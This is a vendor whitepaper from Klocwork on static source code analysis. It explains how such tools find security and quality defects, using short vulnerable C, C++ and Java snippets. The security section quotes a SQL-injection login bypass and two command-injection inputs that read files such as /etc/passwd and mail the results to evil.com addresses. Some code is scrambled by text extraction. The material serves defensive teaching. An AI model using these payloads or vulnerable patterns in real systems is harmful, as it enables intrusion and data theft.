When, Why, and How to Leverage Source Code Analysis Tools Finding critical bugs in C, C++ and Java code Gwyn Fisher · CTO · Klocwork Whitepaper · 10 October 2007 Introduction Automated source code analysis is technology aimed at locating and describing areas of weakness in source code. Those weaknesses might be security vulnerabilities, logic errors, implementation defects, concurrency violations, rare boundary conditions, or many other types of problem-causing code. The name of the associated research field is static analysis. This is differentiated from more traditional dynamic analysis techniques such as unit or penetration testing by the fact that the work is performed at build time using only the source code of the program or module in question. The results reported are therefore generated from a complete view of every possible execution path, rather than some aspect of a necessarily limited observed runtime behavior. Perhaps the most obvious question confronting any new developer-facing technology is: why? »» »» »» Why should developers use a new tool when they already have so many to choose from? What makes this technology compelling enough to make me want to add it to my already bloated build chain? And what does it do, anyway? This paper will answer these questions, and more. But for the moment just consider the fact that at time of writing, 80% of the Fortune 500 have already deployed, or are currently engaged in deploying, some kind of automated source code analysis. The reasons for doing so can be stated in as many ways as there are people answering the question, but the basic principle can be found in all of these deployments: »» Tell me what’s wrong with my code before I ship it – don’t let me be the guy responsible for shipping a killer vulnerability or bug into the wild. There are other compelling reasons, such as: »» »» »» Make my existing processes for code review more effective through automation Enhance my existing QA resource with 100% coverage of all boundary conditions Help me protect my brand as we go to market with new products But the bottom line remains the capability of this technology to afford developers the ability to scrub their code of obvious and not-so-obvious weaknesses as they work, before they submit their code for check-in and more formal down-stream validation procedures. //introduction to the technology The process of automated source code analysis involves building a rich representation or model of the provided code (akin to a compilation phase), and then simulating all possible execution paths through that model, mapping out the flow of logic on those paths coupled with how and where data objects are created, used and destroyed. Once the projection of code paths and the mapping of data objects are available, we can look for anomalous conditions that either will or might potentially cause exploitable vulnerabilities, execution failure, or data corruption at runtime. There are two major families of checking capability typical to this type of analysis: abstract syntax tree (AST) validation and code path analysis. The former case is most frequently applied to validation of the basic syntax and structure of code, whereas the latter is used for more complete types of analysis that depend on understanding the state of a program’s data objects at any particular point on a code execution path. Abstract Syntax Trees An abstract syntax tree, or AST for short, is simply a treestructured representation of the source code as might be typically generated by the preliminary parsing stages of a compiler. This tree contains a rich breakdown of the structure of the code in a non-ambiguous manner, allowing for simple searches to be performed for anomalous syntax. Consider the example of an organization wishing to enforce a set of corporate coding standards. Stated in the standard is the basic requirement for the use of a compound statement block rather than single statements as the body When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 1 In this case, it is obvious from manual inspection that the variable “ptr” can assume a NULL value whenever the variable “x” is odd, and that this condition will cause an unavoidable zero-page dereference. of a loop (e.g. a for-loop). In this case, an AST check is what would be appropriate: incorrect for( i - 0; i < 10; i++ ) doSomething( ); correct for( i - 0; i < 10; i++ ) { doSomething(); } Attempting to find a bug of this type using AST scanning, however, is seriously non-trivial. Consider the (simplified, for clarity) AST that would be created from that snippet of code: In this example, the (simplified, for clarity) AST for the incorrect case would conceptually appear as follows: Statement Block If-statement Check-Expression Binary-operator & x 1 True-Branch Expression statement Assigment-operator ptr 0 Expression-statement Assignment-operator Dereference-pointer - ptr 1 For-loop Statement doSomething() In contrast to which, the AST for the correct case would conceptually appear as follows: For-loop Statement block Statement doSomething() As you can imagine, constructing checkers that look for this type of standards violation is quite straightforward and depends solely on the syntax of the code itself and not on the runtime behavior, or state, of that code. Essentially, the checker would be instructed to find all instances of “For-loop” nodes that contain a “Statement” node as an immediate descendant, and to flag them as violations. Similarly, AST checkers can easily be constructed to enforce standards around naming conventions, function call restrictions (e.g. unsafe library checks), etc. Anything that can be inferred from the code without requiring knowledge of that code’s runtime behavior is typically a target for AST checking. Given the simple nature of what AST checkers can actually do, there are many tools that offer this type of checking for various different languages, some of which are freely available from the open source community, for example PMD for Java. Several of these tools use XPath, or an XPath-derived grammar to define the conditions that the checkers look for, and customers should consider adopting solutions that provide extensibility mechanisms for creating AST checkers. This type of checking is relatively simple to do, and constructing new checkers of this type for corporate coding standards or industry recommended best practice is a common endeavor. Code Path Analysis Consider now a more complex example. This time, instead of looking for style violations, we wish to check whether an attempted dereference of a pointer should be expected to succeed or fail: In this case, there is no obvious tree search or simple node enumeration that could cover the attempted, and at least occasionally illegal, dereferencing of “ptr” in anything like a reasonably generalized form. So for cases such as this, it is necessary to take a step beyond simply searching for patterns of syntax, and to analyze the lifecycle of data objects as they appear and are used within a control path’s flow of execution. Code path analysis tracks objects within a code execution path and allows checkers to validate the legality or cleanliness of the data as it gets used. In the example above, the AST that is built for simple types of style and syntax checks is rewritten in a form that allows an answer to be generated for the following question: »» Is there a valid, reachable code path on which the assignment of NULL is followed by an attempted dereference without an intermediate check? Consider the following example of control flow and data object usage: void } f(int x, int y) { int value, *p, *q; p = (x & 1) ? NULL : &value; if( p ) *p = 1; q = p; if( y & 1 ) *q = 1; if( x & 1) ptr - NULL; *ptr - 1,; When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 2 In this instance we will unavoidably crash whenever both ‘x’ and ‘y’ are odd. Finding this situation requires a rich representation that reflects the start, or trigger, of a given code path, any propagation or aliasing that occurs during the execution of that code path, and the end, or sink, of the code path. In our example, the trigger for the code path that interests us is the assignment of a NULL value to a pointer: p = (x & 1) ? NULL : &value; Once this assignment is made, we can reasonably begin looking along the ensuing reachable code paths to check for propagation and/or illegal sink conditions. In our example, the first potential sink occurs using the variable ‘p’: if( p ) *p = 1; As the value of the pointer is checked for legality, however, this isn’t an illegal sink condition and so can be ignored. Next, we have propagation: q = p; From this point forwards in the reachable code path set, references to ‘q’ are as valid as references to ‘p’, as they are now aliases of each other (until otherwise assigned). Knowing this, the system can again validate a potential sink: if( y & 1 ) *q = 1; In this case, it is entirely possible to follow a legal code path all the way from the assignment of NULL through to the use of that NULL in a crash-causing context, and so a path analysis defect will be reported. Obviously this is only one type of the many different questions that can be answered using this type of analysis, such as: »» »» »» »» »» Is this newly created object released before all aliases to it are removed from scope? Is this data object ever range-checked before being passed to an OS function? Is this string ever checked for special characters before being submitted as a SQL query? Will this copy operation result in a buffer overflow? Is it safe to call this function at this time? By following code execution paths, either forward from a trigger event towards a target scenario, or backwards from a trigger event towards a required initialization, we can determine the answers to these questions and provide error reports when the target scenario or initialization either does or does not occur as expected. enable the location of flaws such as memory leaks, invalid pointer dereferences, unsafe or tainted data propagation, concurrency violations, and many other types of problemcausing conditions as described in the next section. // What type of issues can be found? In this section, we will walk through a number of examples of problems that can be identified using modern static analysis tools, showing how they occur and what can happen if they are not remedied before shipment. Whilst many more types of weakness can be found using Klocwork’s tools, these examples should give the reader a firm grounding in what a good static analysis suite can do, regardless of the vendor. Note that the examples given here are shown in a variety of C/C++ and Java. Where appropriate, the relevant capabilities within the product are available in all supported languages, however. Security vulnerabilities Traditionally of interest to developers working on consumerfacing applications, security is becoming more and more critical to developers in all types of environments, even those that have until recently considered security to be a non-issue. Some of the more important areas of security that can be found with source code analysis are: »» »» »» »» »» Denial of service SQL injection Buffer overflow Cross-site scripting (XSS) Process/file injection Denial of service As could be guessed from the name, this type of vulnerability reflects a desire on the part of an attacker to deny access to a service offered by one or more processes under attack. This can be caused many different ways, from actually crashing the process, to choking the service with an inordinate number of requests, to resource constraining the service to the point of it becoming useless, etc. Attack vectors that are exposed to such approaches can often be spotted in code that is not created to be defensive, but rather makes naïve assumptions about the operating environment within which it will be running. Consider the following example: public void f(String name, Properties props) throws IOException { InputStream is; is = getClass().getClassLoader().getResourceAsStream(name); if( is != null ) { props.load(is); } } This type of capability is required to do sophisticated analysis of source code and customers should look for tools that provide comprehensive code path analysis to When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 3 This simple function can easily cause a resource constraint within a server that will eventually lead to a DoS condition. Every time this function is called a new instance of the named properties collection will be created and will not be closed. Call this function within the main request handler of a service and it won’t take long for the service to crawl to a halt. Likewise, creating resources using data that has not been validated (a practice known as taint propagation) can quickly choke a service: public { } void doGet(HttpServletRequest req,HttpServletResponse res) String val = req.getParameter(“size”); Map props = new HashMap(Integer.parseInt(val)); … Here the tainted data, as retrieved from an incoming HTTP parameter, is passed without validation into the constructor for a Collection object, an operation that can easily be attacked to cause the service to shutdown. Note that while this example uses a Java web servlet request for demonstration purposes, many DoS attack vectors exist within process boundary conditions that are normally entirely within the control of the developer writing the application. This tends to lead to assumptions being made about the data that will be marshaled across that boundary, allowing an attacker to disrupt service simply by placing unexpected ranges of data on what is supposed to be a clean wire, as shown in this example: void readDataFromWire(unsigned char* stream) { int bytes = (int)(*stream++); unsigned char* buffer = (unsigned char*)malloc(bytes); } … SELECT ID FROM USERS WHERE NAME=’x’ AND PWD=’x’ OR ‘1’ = ‘1’; If this is compounded by the login simply checking for success or failure of this statement (as opposed to counting result rows), the attacker is quickly granted whatever access rights might be available from whatever user records are processed by the application. In applications where the first row of the user table is reserved for the super-user, the application could easily be completely compromised. There are many other forms of attack possible using applications that are not careful in their treatment of substitution strings within database statements. Luckily, a large percentage of the mistakes most commonly made in preparing such statements can be found by checking strings that are being provided to database functions for taint, or the lack thereof: public void query(HttpServletRequest req, Connection conn) throws Exception { Statement stmt = conn.createStatement(); String val = req.getParameter(“User”); stmt.executeQuery(“select * from users where user=’” + val + “’;”); } In this example, the tainted input value “val” was retrieved from the incoming request and substituted into a database statement without first having been scrubbed for characters outside of the alphanumeric range. Any such usage is subject to attack, and will cause warnings to be generated by the tool. Buffer overflow Without checking the value of the ‘bytes’ variable, there is no way to guarantee that the subsequent allocation won’t cause a failure, or potentially worse a significant constraint on available memory for other parts of the process. SQL injection SQL-based attacks focus on sloppily-constructed queries that can result in the attacker being able to completely compromise the underlying database security model. Consider the following example of a login validation query: SELECT ID FROM USERS WHERE NAME=’user’ AND PWD=’password’; Incoming parameters from the user are substituted into the expression and the query is executed. Consider a set of parameters provided by an attacker: NAME: x PWD: x’ OR ‘1’ = ‘1 That bizarre-looking password, if not appropriately filtered by the application, results in the login validation query performing a retrieval of every ID in the system: Buffers or arrays that are improperly handled can potentially lead to process corruption and even the execution of arbitrary code injected by an attacker. Consider the following example: void { } f(unsigned char* stream) unsigned char buf[32]; memcpy(buf, stream + 1, *stream); … In this trivial case, the author has made a fundamental assumption about the cleanliness of the incoming data, coupled with an architectural assumption about the range of that data. If this function is used in an environment open to attack – for example to process marshaled data from another process or server, or even from a file that is subject to injection on the user’s system – the attacker could cause considerable stack corruption simply by exploiting the fact that the code will happily copy up to 255 bytes into a buffer able to hold only 32. A particularly accomplished attacker When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 4 could use this exploit to inject carefully crafted code that effectively hijacks the process by inserting dummy stack content and overwriting one or more call frames. A recent, high profile security breach in Microsoft Windows was caused by exactly this scenario. The “animated cursor vulnerability” as it was known was caused by a section of code that effectively performed the following operations: HICON LoadAniIcon(…) { … ANIHEADER myAniHeader; memcpy(&myAniHeader, untrustedData->data, untrustedData->length); … } Given sufficient time, motivation and resource, attackers were able to completely compromise target systems simply by encouraging users to load and use carefully crafted animated cursor files. Those cursor files contained structures guaranteed to cause this operation to overflow available space, to therefore corrupt the stack, and to place on the resulting stack a frame intended to transfer control to functions open to compromise. Cross-site scripting (XSS) One of the first restrictions placed on JavaScript in early browser versions was to build a wall around page content so that scripts executing within a frame served by one site could not access content of frames served by another site. Cross-site scripting, therefore, is an attack pattern that focuses on enabling script from one site (the attacker’s site) to access content from another site (e.g. the user’s bank account site). In order to do this, the user must typically visit either a malicious or a naïve web site, obviously, although many experiments in social engineering have shown that users can be funneled towards even the most outlandish of sites quite readily. In terms of physical manifestation, the most common form of XSS requires unfiltered HTML to be reflected back to the user from a server request. One common early attack vector was search engine result pages, which typically reflected the user’s query term in the title of the page. Without filtering, this reflected query term could easily contain HTML tags that were not correctly encoded and will therefore be interpreted as valid HTML by the receiving browser. In essence, any reflection of unfiltered incoming data will trigger a warning from the tool, as the number and variety of exploits resulting from XSS grows every day. For example: public void doGet(HttpServletRequest req, HttpServletResponse res) { String title = req.getParameter(“searchTerm”); res.getOutputStream().write(title.getBytes(“UTF-8”)); } Other manifestations of XSS revolve around the persistent storage of unfiltered user input that is later used to provide response content. This is a more difficult type of XSS to diagnose, as the attack pattern depends not only on a user’s unfiltered input being stored, but on that stored tainted data being made available to every user from that point onwards. Naïve forum software packages were particularly susceptible to this attack pattern in the early days of the web, but in essence any application that stores incoming unfiltered web data in a database (or file) and then reflects that stored data back to the user at a later date is vulnerable to this persistent form of XSS. Due to this attack pattern being so destructive if exploited, the tool triggers a warning whenever unfiltered data is retrieved from persistent storage and forwarded to the user. Process or file injection Of particular value to attackers, and therefore particularly to be avoided by authors, are attack vectors that allow the modification of system commands and/or system files. Performing process creation using tainted input, or creating files using tainted names or locations are the most prevalent mistakes made. Consider the following: void doListing(char* name) { char command[256]; if( strlen(name) < 250 ) { sprintf(command, “ls %s”, name); system(command); } } In this example, the author has left themselves open to malicious attack by not scrubbing the incoming file name before appending it to an innocuous-looking command. Consider input that gets appended by this function without further processing to the “ls” command such as: -R / | grep secret | mail alice@evil.com or /dev/null | cat /etc/passwd | awk –F: ‘{print $1}’ | mail brad@evil.com In general, any exit point to the underlying OS that uses either a command or filename must be validated for special characters prior to the call being placed. Failure to do so may well result in catastrophic results for the operating environment. Another example shows a file-specific attack vector: public void doPost(HttpServletRequest req, HttpServletResponse resp) { String loc = req.getParameter(“name”); unpackFilesTo(loc, req.getInputStream()); } private void unpackFilesTo(String loc, InputStream data) { File dir = new File(“./unpacked/”, loc); … } When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 5 In this example, a potentially tainted string is used to construct a relative path name. Unfortunately for the author, the File constructor used here places no restriction on the use of “../” being a path element, thus leaving this application wide open to arbitrary file creation and/or overwrite. Implementation defects Regardless of the application being developed, implementation defects that escape into the wild have significant impact on the product being deployed. This could range from increased support costs to ongoing brand criticism to bottom line impact from inventory reversal. Releasing a quality product is everybody’s goal, and static analysis tools can help significantly in bringing that product to market. Some of the more important areas of quality and ongoing maintenance are: »» »» »» »» Memory management; leaks, using released memory, etc. NULL pointer dereference / exception Array bounds violations Concurrency flaws and deadlocks Memory management mistakes Memory allocation and the correct releasing of that memory is a major source of defects, particularly in C and C++ code. Static analysis is well applied in this area, due to comprehensive coverage of code paths that can result in rare boundary conditions being signaled that might never be found using traditional runtime profiling tools. void f(…) { char* p = (char*)malloc(32); char* q = p; /* Use of unchecked allocation, might well be NULL */ strcpy(p, “hello world”); /* Release the memory by freeing an alias */ free(q); /* Attempted use of already released memory */ strcpy(p, “not good”); free(p); } Comprehensive static analysis tools should be able to track allocations and aliases of allocated memory to ensure that all allocations are released, that code paths do not attempt to make use of released memory, and that memory objects are not released twice. NULL pointer dereference Defects involving NULL pointers are as old as programming itself, and still as prevalent today as in any time before. We all understand what NULL pointers can do, and we all spend time looking for them and dealing with the aftereffects of their being found in the wild. But consider the following example coding pattern that is fairly prevalent in even well-known and modern code bases: void f(char* ptr) { if( *ptr && ptr ) … } Or perhaps a Java example – just because there aren’t pointers in the language doesn’t mean you can’t dereference a NULL object reference: public void f(String str) { if( str.length() == 0 || str == null ) return; … } Functions that return NULL under aberrant conditions, and whose returned values are later de-referenced, are particularly difficult to diagnose. If the static analyzer is able to consider every potential code path, however unlikely, even these rare boundary conditions are found and reported. Array bounds violations Accessing arrays out of bounds is an incredibly common mistake, even by senior developers. Consider the following example from code written by a vendor in support of their device under Linux (details obscured): int f() { struct devinfo* dev[8]; int i; get_device_info(dev, 8); for( i = 0; dev[i] && (i < 8); i++ ) { … } } In many instances, perhaps the majority of the time, this code will run without hiccup. But eventually it is guaranteed to cause a bus fault or page violation based on the index check being performed after that index is used to access the ‘dev’ array. Concurrency violations With the trend towards more and more multi-core designs at the chip level, developers are increasingly being called upon to create threaded, or at least thread-aware, software. This places additional burden in terms of understanding how certain OS calls interact with locks that can cause threads to hang, and potentially to deadlock two or more threads in a process. Only a handful of tools, such as the ones provided by Klocwork, are able to apply validations in the area of concurrency, such as ensuring that threads holding locks do not attempt to suspend or halt themselves, that locks are correctly released, and that lock holders do not attempt real-time pausing activities. When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 6 // Summary For example: pthread_mutex_t lock; void f() { pthread_mutex_lock(&lock); sleep(30000); pthread_mutex_unlock(&lock); } In this pathological example, all threads requiring access to the “lock” mutex would be deadlocked for 30s waiting for this segment to unlock. Worse yet, the following example shows a never-released lock: void { } f() pthread_mutex_lock(&lock); switch( op() ) { case 0: return; default: break; } pthread_mutex_unlock(&lock); As a developer considering using automated source code analysis, or a development manager considering providing such analysis tools for a group of coders, it should be obvious from the previous sections of this document what kind of problems can found and how this might apply in day-to-day situations. In addition to what is described here, many other types of problems can be found by Klocwork’s tools, including additional types of security or quality defects, locating dead code, incomplete or redundant header inclusion, architectural coherence, metrics violations, and many others. Who wants to be the person on the hot seat when a critical vulnerability is exploited in the field, or when a coding mistake causes an inventory turnaround and costs your company serious money? Avoid that exposure by performing the most rigorous form of automated code review possible today, and do it on your desktop at the same time as you build your code. Klocwork your source code and feel confident that you’re checking in the most secure and defect-free code you’ve ever created. In the case where the function “op” returns zero, the calling thread will maintain the mutex on return. Assuming this lock is being used for task scheduling or other typical server activities, the obvious result is a hung system. Another aspect of concurrency is concurrent modification of data objects. The following example shows a Java Collection operation that will be flagged as illegal: public void f(Collection coll) { for( Iterator it = coll.iterator(); iter.hasNext(); ) { String el = (String)it.next(); if( el.startsWith(“/”) ) coll.remove(el); } } In fact, this operation is illegal even in a single threaded environment as it violates a basic contract within the Collections framework, but in a multi-threaded environment the likelihood of this causing a data corrupting problem within the Collection itself is vastly increased. When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 7 // About About the Author Gwyn Fisher is the CTO of Klocwork and is responsible for guiding the company’s technical direction and strategy. With nearly 20 years of global technology experience, Gwyn brings a valuable combination of vision, experience, and direct insight into the developer perspective. With a background in formal grammars and computational linguistics, Gwyn has spent much of his career working in the search and natural language domains, holding senior executive positions with companies like Hummingbird, Fulcrum Technologies, PC DOCS and LumaPath. At Klocwork, Gwyn has returned to his original passion, compiler theory, and is leveraging his experience and knowledge of the developer mindset to move the practical domain of static analysis to the next level. About Klocwork Klocwork is an enterprise software company providing automated source code analysis products that automate security vulnerability and quality risk assessment, remediation and measurement for C, C++ and Java software. More than 200 organizations have integrated Klocwork’s automated source code analysis tools into their development process, thereby: »» »» »» Reducing risk by assuring their code is free of mission-critical flaws Reducing cost by catching issues early in the development cycle Freeing developers to focus on what they do best - innovate Contact Klocwork for more information at www.klocwork.com or register for a free trial on your code today. © Copyright Klocwork Inc. 2008 · All Rights Reserved In the United States: 8 New England Executive Park Suite 180 Burlington MA 01803 In Canada: 30 Edgewater Street Suite 114 Ottawa ON K2L 1V8 1-866-556-2967 1-866-KLOCWORK www.klocwork.com